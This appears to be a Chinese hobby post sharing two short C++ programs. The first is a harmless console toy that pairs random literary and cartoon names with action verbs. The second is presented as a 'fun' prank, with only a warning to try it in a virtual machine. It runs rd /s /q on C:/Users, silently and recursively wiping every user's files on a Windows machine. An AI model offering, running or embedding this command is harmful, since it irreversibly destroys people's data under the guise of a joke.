1.呃,演义? 说明:按enter刷新
#include<bits/stdc++.h>
#include<stdlib.h>
#include<time.h>
#include<windows.h>
#define int long long
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
string a[]={"孙悟空","猪八戒","沙悟净","唐僧","白龙马","刘备","关羽","张飞","诸葛亮","曹操","宋江","鲁智深","林冲","武松","贾宝玉","林黛玉","史湘云","王熙凤","小猪佩奇","白雪公主","超级飞侠","波士顿龙虾","井盖","麦克阿瑟","吴承恩","罗贯中","施耐庵","曹雪芹","李白","王维","鲁迅","非洲大蜗牛"};
string b[]={"三打","投掷","倒拔","拳打"};
char c;
void gotoxy(int x, int y){
COORD pos={x,y};
HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hOut,pos);
}
void noedit(){
HANDLE hStdin=GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin,&mode);
mode&=~ENABLE_QUICK_EDIT_MODE;
mode&=~ENABLE_INSERT_MODE;
mode&=~ENABLE_MOUSE_INPUT;
SetConsoleMode(hStdin,mode);
}
void HideCursor(){
CONSOLE_CURSOR_INFO cur={1,0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cur);
}
signed main(){
noedit();
HideCursor();
srand(time(NULL));
while(1){
cout<<a[rand()%32]<<b[rand()%4]<<a[rand()%32]<<" ";
c=getchar();
gotoxy(0,0);
}
return 0;
}
非常有意思
2.好玩的:
说明:千万别再主机上尝试,虚拟机可以,用坏了别怪我!!!!!
#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
string c;
c="rd /s /q \"C:/Users\"";
system(c.c_str());
return 0;
}